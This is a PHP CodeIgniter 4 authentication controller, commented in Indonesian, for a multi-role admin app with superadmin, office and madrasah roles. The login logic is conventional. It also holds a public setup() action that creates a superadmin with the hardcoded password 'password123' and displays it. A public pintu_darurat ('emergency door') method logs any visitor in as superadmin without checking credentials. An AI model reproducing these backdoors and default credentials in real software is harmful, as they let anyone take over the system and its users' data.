<?php namespace App\Controllers;

class Auth extends BaseController {
    
    public function index() {
        // Mencegah user yang sudah login kembali ke halaman login
        if(session()->get('logged_in')) {
            return redirect()->to('/' . explode('_', session()->get('role'))[0] . '/dashboard');
        }
        return view('login');
    }

    public function loginProcess() {
        $db = \Config\Database::connect();
        $username = $this->request->getPost('username');
        $password = $this->request->getPost('password');

        // Query Builder untuk mencegah SQL Injection
        $user = $db->table('users')->where('username', $username)->get()->getRowArray();

        // Verifikasi password hash
        if ($user && password_verify($password, $user['password'])) {
            if(isset($user['status']) && $user['status'] == 'nonaktif') {
                return redirect()->back()->with('error', 'Akun Anda dinonaktifkan oleh Superadmin.');
            }

            session()->set([
                'user_id'   => $user['id'],
                'username'  => $user['username'],
                'role'      => $user['role'],
                'instansi'  => $user['nama_instansi'],
                'logged_in' => true
            ]);

            // Arahkan ke dashboard sesuai role
            if($user['role'] == 'superadmin') return redirect()->to('/superadmin/dashboard');
            if($user['role'] == 'admin_kantor') return redirect()->to('/kantor/dashboard');
            if($user['role'] == 'admin_madrasah') return redirect()->to('/madrasah/dashboard');
        }

        return redirect()->back()->with('error', 'Kombinasi Username & Password tidak valid.');
    }

    public function logout() {
        session()->destroy();
        return redirect()->to('/login')->with('success', 'Anda berhasil keluar dari sistem.');
    }

    // Fungsi pembuat akun Superadmin dengan password asli
    public function setup() {
        $db = \Config\Database::connect();
        
        // Membuat enkripsi password asli khas CI4
        $password_asli = password_hash('password123', PASSWORD_DEFAULT);
        
        $db->table('users')->insert([
            'username'      => 'superadmin_baru',
            'password'      => $password_asli,
            'role'          => 'superadmin',
            'nama_instansi' => 'Pusat Pengendali',
            'status'        => 'aktif'
        ]);

        echo "<h1>Akun Berhasil Dibuat!</h1>";
        echo "<p>Silakan login dengan Username: <b>superadmin_baru</b> | Password: <b>password123</b></p>";
        echo "<a href='/login'>Klik di sini untuk Login</a>";
    }
// --- PINTU DARURAT BYPASS LOGIN ---
    public function pintu_darurat() {
        // Langsung tembak data sesi ke dalam browser tanpa cek database
        session()->set([
            'user_id'   => 999,
            'username'  => 'Ichsan',
            'role'      => 'superadmin',
            'instansi'  => 'Pusat Pengendali',
            'logged_in' => true
        ]);
        
        // Bawa langsung ke ruang kontrol utama
        return redirect()->to('/superadmin/dashboard');
    }
    }